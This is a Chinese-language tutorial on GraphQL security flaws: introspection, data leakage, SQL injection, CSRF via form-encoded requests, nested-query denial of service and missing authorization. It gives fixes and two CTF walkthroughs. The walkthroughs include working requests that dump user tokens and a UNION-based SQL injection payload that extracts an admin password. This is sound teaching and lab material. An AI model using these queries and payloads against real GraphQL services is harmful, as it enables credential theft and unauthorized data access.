[TOC]

什么是GraphQL注入

GraphQL 是一个用于API的查询语言,使用基于类型系统来执行查询的服务(类型系统由你的数据定义)。GraphQL 并没有和任何特定数据库或者存储引擎绑定,而是依靠你现有的代码和数据支撑。

GraphQL中文文档·
https://www.bookstack.cn/read/graphql-zh/ec2f2575c49a7954.md

如果你了解REST API会更快地了解它。像REST API,往往我们的请求需要多个API,每个API是一个类型。比如:http://www.test.com/users/{id} 这个API可以获取用户的信息;再比如:http://www.test.com/users/list 这个API可以获取所有用户的信息。
beepress-image-148242-1606793579.png
比如查id为1的一个人的生日,可以这么查:
image.png
再想知道他的身高、发色可以这样:
image.png
image.png
通过上面这个例子就可以看出graphql与REST API的区别,仅用一个API即可完成所有的查询操作。并且他的语法和结构都是以一个对象不同属性的粒度划分,简单好用。

基本属性

GraphQL的执行逻辑大致如下:
查询->解析->验证->执行
根据官方文档,主要的操作类型有三种:query(查询)、mutation(变更)、subscription(订阅),最常用的就是query,所有的查询都需要操作类型,除了简写查询语法。
类型语言TypeLanguage,type来定义对象的类型和字段,理解成一个数据结构,可以无关实现graphQL的语言类型。类型语言包括Scalar(标量)和Object(对象)两种。并且支持接口抽象类型。
Schema用于描述数据逻辑,Schema就是对象的合计,其中定义的大部分为普通对象类型。一定包括query,可能包含mutation,作为一个GraphQL的查询入口。
Resolver用于实现解析逻辑,当一个字段被执行时,相应的 resolver 被调用以产生下一个值。

内省查询

简单来说就是,GraphQL内置了接口文档,你可以通过内省的方法获得这些信息,如对象定义、接口参数等信息。
当使用者不知道某个GraphQL接口中的类型哪些是可用的,可以通过__schema字段来向GraphQL查询哪些类型是可用的。
image.png

  • Query, Character, Human, Episode, Droid - 这些是我们在类型系统中定义的类型。
  • String, Boolean - 这些是内建的标量,由类型系统提供。
  • __Schema, __Type, __TypeKind, __Field, __InputValue, __EnumValue, __Directive - 这些有着两个下划线的类型是内省系统的一部分。

现在,来试试找到一个可以探索出有哪些可用查询的地方。当我们设计类型系统的时候,我们确定了一个所有查询开始的地方,来问问内省系统它是什么!
image.png
这和我们在类型系统那章里说的一样,Query 类型是我们开始的地方!注意这里的命名只是一个惯例,我们也可以把 Query 取成别的名字,只要我们把它定义为所有查询出发的地方,它也依然会在这里被返回。尽管如此,还是把它命名为 Query 吧,这是一个有用的惯例。
有时候也需要检验一个特定的类型。来看看Film 类型:
image.png
kind 返回一个枚举类型 __TypeKind,其中一个值是 OBJECT。
我们可以使用如下语法查询 Film有哪些字段:

{
__type(name:"Film"){
  name
  fields{
    name
    type{
      name
      kind
      ofType{
        name
        kind
      }
    }
  }
}
}

image.png

信息泄露

通过内省查询,我们可以得到很多后端接口的信息。有了这些信息通过排查便可能发现更多的安全问题,比如信息泄露。
查询存在的类型:
f4ff5867e655f8a9f5f6a16d2962fbcb.png
查询类型所有的字段:
0e0e9ce978095d30a0ee822632c377b3.png
在查找字段里是否包含一些敏感字段:
Email、token、password、authcode、license、key、session、secretKey、uid、address等。
除此以外还可以搜索类型中是否有edit、delete、remove、add等功能,来达到数据编辑、删除、添加的功能。
b3c7e4cea45cb7a277d4caf5c1ced24e.png

进入sql注入

graphql的sql注入与一般的sql注入类似,都是可以通过构造恶意语句达到注入获取数据或改变查询逻辑的目的
48a153df3e0d941632643de526417093.png
c9c5ced48d8363e287de237d970eae7e.png
只有直接使用graphql进行查询才会出现的问题,正确的使用参数化查询,不会遇到sql注入的问题。

CSRF

burp插件
https://github.com/doyensec/inql
Express-GraphQL Endpoint CSRF漏洞
在Express-GraphQL中存在CSRF漏洞。如果将Content-Type修改为application/x-www-form-urlencoded ,再将POST请求包内容URL编码并生成csrf poc 即可实施csrf攻击,对敏感操作如mutation(变更)造成危害。
大概就是:默认graphql查询时,都是依赖于json数据格式进行传输给后端的,但是使用Express-GraphQL的时候,给json转换成form表单格式的数据也可以提交给后端正常处理,也就可以直接用burp生成的CSRF POC进行CSRF攻击了

原数据包:
POST /? HTTP/1.1
Host: graphqlapp.herokuapp.com
Origin: https://graphqlapp.herokuapp.com
User-Agent: Graphiql/http
Referer: https://graphqlapp.herokuapp.com/
Cookie: [mask]
Content-Type: application/json
Content-Length: 108
{"query":"mutation {\n editProfile(name:\"hacker\", age: 5) {\n name\n
age\n }\n}","variables":null}
修改后也能使用的数据包:
POST /? HTTP/1.1
Host: graphqlapp.herokuapp.com
Origin: https://graphqlapp.herokuapp.com
User-Agent: Graphiql/http
Referer: https://graphqlapp.herokuapp.com/
Cookie: [mask]
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
query=mutation%20%7B%0A%20%20editProfile(name%3A%22hacker%22%2C%20age%3A%20
5)%20%7B%0A%20%20%20%20name%0A%20%20%20%20age%0A%20%20%7D%0A%7D

修复方式可以考虑将CORS配置为仅允许来自受信任域的白名单的请求,或者确保正在使用CSRF令牌.实施多种保护将降低成功攻击的风险.

嵌套查询拒绝服务

当业务的变量互相关联,如以下graphql定义为这样时,就可能无限展开,造成拒绝服务。

type Thread {
  messages(first: Int, after: String): [Message]
}
type Message {
  thread: Thread
}
type Query {
  thread(id: ID!): Thread
}

默认情况下,GraphQL 中的所有类型都是可为空的;空值是上述所有类型的有效响应。要声明不允许 null 的类型,可以使用 GraphQL Non?Null 类型。此类型包装基础类型,并且此类型的行为与该包装类型相同,但 null 不是包装类型的有效响应。尾随感叹号用于表示使用 Non?Null 类型的字段,如下所示:name: String!。
换句话说,GraphQL 中的类型默认可以为空。类型后的感叹号专门指定该类型为不可为空。
就有可能存在拒绝服务的风险。
image.png
修复方式可以考虑增加深度限制,使用graphql-depth-limit模块查询数量限制;或者使用graphql-input-number创建一个标量,设置最大为100

权限问题

graphql本身建议由业务层做权限控制,graphql作为一个单路由的API接口完成数据查询操作。开发者在使用时经常会忽略接口的鉴权问题。有时候客户端调用查询接口,直接传入了id等信息并未做好权限校验,就有可能存在水平越权 284177284d3f098468827b8ffd745162.png
f6e974c205db0a29f17de74ab4fe5ee9.png
修复方式建议在GraphQL和数据之间多加一个权限校验层,或者由业务自行实现权限校验。

ctf题目

corCTT2021 devme

devme-1.png
随便输入一个email

POST /graphql HTTP/1.1
Content-Type: application/json

{
    "query": "mutation createUser($email: String!) {\n\tcreateUser(email: $email) {\n\t\tusername\n\t}\n}\n",
    "variables": {
        "email": "test@test.com"
    }
}

尝试内省查询

{
    __schema {
        types {
            name
        }
    }
}

返回包

{
    "data": {
        "__schema": {
            "types": [
                {
                    "name": "Query"
                },
                ... lots of default types
                {
                    "name": "User"
                }
            ]
        }
    }
}

我们来查询一下User类型

{
    __type(name: "User") {
        fields {
            name
        }
    }
}
{
    "data": {
        "__type": {
            "fields": [
                {
                    "name": "token"
                },
                {
                    "name": "username"
                }
            ]
        }
    }
}

我们先来看下哪些查询是被支持的

{
    __type(name: "Query") {
        fields {
            name
        }
    }
}
{
    "data": {
        "__type": {
            "fields": [
                {
                    "name": "users"
                },
                {
                    "name": "flag"
                }
            ]
        }
    }
}

我们在里面发现了flag,试着查询一下

{
    flag
}
{
    "errors": [
        {
            "message": "Field \"flag\" argument \"token\" of type \"String!\" is required, but it was not provided.",
            "locations": [
                {
                    "line": 1,
                    "column": 2
                }
            ]
        }
    ]
}

结果就是我们不能查询,我们需要提供token的值,那让我们查询下User里的token

{
    users {
        username
        token
    }
}
{
    "data": {
        "users": [
            {
                "username": "admin",
                "token": "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b"
            },{
                "username": "b82d9af8a6226c072bcd811e7a009ffb36b2ad88be67ac396d170fe8e2f1de7c",
                "token": "5568f87dc1ca15c578e6b825ffca7f685ac433c1826b075b499f68ea309e79a6"
            }
            ... more users
        ]
    }
}

我们使用admin的token去获得flag

{
    flag(token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b")
}
{
    "data": {
        "flag": ""
    }
}

祥云杯2022 Funweb

前面用到的jwt漏洞是这个CVE-2022-39227,这里就不提及,主要看graohQL注入
还是先内省查询

{
    __schema {
        types {
            name
        }
    }
}

回显

{'__schema':
    {'types': [{'name': 'Query'}, 
             {'name': 'Getscorebyname'},
             {'name': 'String'},
             {'name': 'Getscorebyid'},
             {'name': 'Int'},
             {'name': 'Boolean'},
             {'name': '__Schema'},
             {'name': '__Type'},
             {'name': '__TypeKind'},
             {'name': '__Field'},
             {'name': '__InputValue'},
             {'name': '__EnumValue'},
             {'name': '__Directive'},
             {'name': '__DirectiveLocation'}]
}
}

再查询Getscorebyid

{ Getscorebyid(id: 1)
    { 
        id 
        name 
        score 
}
}

回显:

{
    'getscoreusingid': 
            {
                    'id': '1', 
                    'name': 'admin', 
                    'score': '100'
            }
}
# 这里用getscorebyid不行,故改为getscoreusingid

然后获取字段:

{
  __type (name: "Getscorebyid") {
    name
    fields {
      name
      type {
        name
        kind
        ofType {
          name
          kind
        }
      }
    }
  }
}

最后拿管理员密码的paylaod

{ 
    getscoreusingnamehahaha(name:"admin'union select password from users where name='admin' and '1'='1")
    {   
                name 
                score 
    }
}

参考链接

https://www.secpulse.com/archives/148242.html
https://blog.csdn.net/weixin_34080903/article/details/89390255